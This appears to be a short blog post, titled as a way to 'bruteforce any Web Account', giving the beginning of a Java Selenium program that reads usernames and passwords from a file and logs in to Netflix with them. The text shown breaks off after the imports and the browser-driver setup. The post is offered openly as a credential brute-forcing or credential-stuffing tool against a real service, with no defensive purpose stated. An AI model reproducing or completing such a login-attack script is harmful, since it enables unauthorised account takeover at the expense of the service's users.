Using Selenium to bruteforce any Web Account
When it comes to automation , selenium can be used for automating the login .E.g take the case of Netflix Here I have used it to read the username and password from a file and then use it for logging in to Netflix. package selenium; import java.io.File; import java.io.FileNotFoundException; import java.util.ArrayList; import java.util.List; import java.util.Scanner; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import org.openqa.selenium.By; import org.openqa.selenium.Keys; import org.openqa.selenium.WebDriver; import org.openqa.selenium.chrome.ChromeDriver; public class NetflixLogin { public static void main(String[] args) throws InterruptedException, FileNotFoundException { System.setProperty("webdriver.chrome.driver", "D:\\shashi\\selenium\\chromedriver.exe"); WebDriver driver = new ChromeDriver(); ...